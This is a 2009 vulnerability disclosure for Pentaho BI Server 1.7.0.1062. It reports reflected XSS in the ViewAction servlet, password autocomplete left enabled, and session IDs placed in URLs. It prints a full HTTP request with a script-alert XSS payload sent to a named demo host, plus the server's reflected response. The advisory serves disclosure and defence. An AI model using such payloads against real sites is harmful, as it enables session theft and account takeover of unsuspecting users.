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[AntiSnatchOr] Pentaho Bi-server multiple vulnerabilities

From: Michele Orru <antisnatchor () gmail com>
Date: Wed, 14 Oct 2009 01:42:45 +0200
Pentaho 1.7.0.1062 Multiple Vulnerabilities

 Name Multiple Vulnerabilities in Pentaho
 Systems Affected Pentaho <= 1.7.0.1062
 Severity High
 Impact (CVSSv2) High 7/10, vector: (AV:N/AC:L/Au:S/C:P/I:C/A:P)
 Vendor http://www.pentaho.com
 Advisory http://antisnatchor.com/2009/06/20/pentaho-1701062-multiple-vulnerabilities/
 Authors Michele "euronymous" Orrù (euronymous AT antisnatchor DOT com)

 Date 20081224

I. BACKGROUND
Pentaho Analysis puts rich, analytic power in the hands of your business users
helping them gain the insights and understanding they need to make optimal
business decisions.

II. DESCRIPTION

Multiple vulnerabilities exist in Pentaho .

III. ANALYSIS

Summary:

 A) Reflected XSS
 B) Password field with autocomplete enabled
 C) Disclosure of Session Tokens in URL


A) Reflected XSS

The presence of the Cross Site Scripting plague has been veryfied on
/pentaho/ViewAction parameters. The attacker-supplied code can perform
different actions, such as stealing the victim's session token or
login credentials,
performing arbitrary actions on the victim's behalf, and logging their
keystrokes.
Users can be induced to issue the attacker's crafted request in various ways.
For example, an attacker can send to the victim a link containing a
malicious URL in
an email or instant message, instead of submit the link to popular web
applications
that don't escape HTML characters such as <>'\().

An example is the following:

GET /pentaho/ViewAction?&
outputType=khgj345<script>alert('Pwnd')</script>kjh3535
&solution=opentaps&action=CustomerLifeTimeOrders.xaction&path=Customer%20Analysis
HTTP/1.0
User-Agent: Opera/9.63 (Windows NT 5.1; U; en) Presto/2.1.1
Host: demo1.opentaps.org:8181
Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg,
image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: it-IT,it;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://demo1.opentaps.org:8181/pentaho/ViewAction?solution=opentaps&path=
Customer%20Analysis&action=CustomerLifeTimeOrders.xaction
Cookie: JSESSIONID=85740C182994F78946BE8A38605396B1
Cookie2: $Version=1
Proxy-Connection: Keep-Alive

When the request will be executed, a popup showing the string Pwnd can be seen.
Here the response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.2.1.GA (build: SVNTag=JBoss_4_2_1_GA
date=200707131605)/Tomcat-5.5
content-disposition: inline;filename=Customer_Lifetime_Orders.html
Content-Type: text/html;charset=UTF-8
Content-Length: 1615
Date: Wed, 24 Dec 2008 09:55:32 GMT
Connection: close

<html><head><title>Pentaho BI Platform - Error in Action</title><link
rel="stylesheet"
type="text/css" href="/pentaho-style/active/default.css"></head><body
dir="LTR"><table
cellspacing="10"><tr><td class="portlet-section" colspan="3">Failed<hr
size="1"/></td>
</tr><tr><td class="portlet-font" valign="top"><span style="color:red">
Errore: SecureFilterComponent.ERROR_0001 -
"khgj345<script>alert('Pwnd')</script>kjh3535"
non Ã¨ una selezione consentita "outputType" per questo utente
(org.pentaho.plugin.core.SecureFilterComponent)</span><p/>Debug:
Partenza dellesecuzione di
{0}/{1}/{2} (org.pentaho.core.solution.SolutionEngine)<br/>Debug:
Lettura del contesto a
runtime e dei dati
(org.pentaho.core.solution.SolutionEngine)<br/>Debug: Caricamento del
file di configurazione dell'Action Sequence
(org.pentaho.core.solution.SolutionEngine)<br/>
Debug: Audit: instanceId=0113b013-d1a1-11dd-a254-65c8cd8ab409,
objectId=org.pentaho.core.runtime.RuntimeContext,
messageType=action_sequence_start
(org.pentaho.core.runtime.RuntimeContext)<br/>Errore:
SecureFilterComponent.ERROR_0001
- "khgj345<script>alert('Pwnd')</script>kjh3535" non Ã¨ una selezione
consentita "outputType"
per questo utente (org.pentaho.plugin.core.SecureFilterComponent)<br/>Errore:
RuntimeContext.ERROR_0012 - LActionDefinition per {0} non Ã¨ stata
eseguita con successo
(org.pentaho.core.runtime.RuntimeContext)<br/>Errore:
SolutionEngine.ERROR_0007 -
 Esecuzione dell'Action Sequence fallita
(org.pentaho.core.solution.SolutionEngine)<br/></td>
</tr></table><p>&nbsp;&nbsp;[it_41] Server Version Pentaho BI Platform
1.7.0.1062</body></html>


The same servlet, /pentaho/ViewAction, contains other two parameters
that are vulnerable to reflected
XSS: "action" and "path" (that are exploitable in the same way).


B) Password field with autocomplete enabled

The response to this request:

GET /pentaho/Login;jsessionid=857E0C182994F71355BE8A3860539BH7

contains the login form where credentials are passed to the application.
 [...]
 <tr>
    <td colspan="2"><input type='password' name='j_password' size="30" ></td>
 </tr>
 [...]

The problem is that the autocomplete tag is not set to OFF. We recommend it,
especially for the presence of reflected XSS that in this situation
can be exploited
to retrieve the password input from the browser history.


C) Disclosure of Session Tokens in URL
The web application session identifier, JSESSIONID, is disclosed in the URL:
that's a bad practice because these sensitive informations will be visible
in the client browser history, in the Referer header, in bookmarks.

An example:
http://demo1.opentaps.org:8181/pentaho/Login;jsessionid=857E0C18
2994F71355BE8A38605396B1



IV. DETECTION

1.7.0.1062 and earlier versions are vulnerable.

V. WORKAROUND

Proper input validation and session management will fix the vulnerabilities.

VI. VENDOR RESPONSE

No fix available.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20081224 Initial vendor contact
20081229 Second vendor contact
20090120 Bugs have been assigned to developers
20090619 Bugs have been finally fixed


IX. CREDIT

Michele "euronymous" Orru'

X. LEGAL NOTICES

Copyright (c) 2008 Michele "euronymous" Orru'

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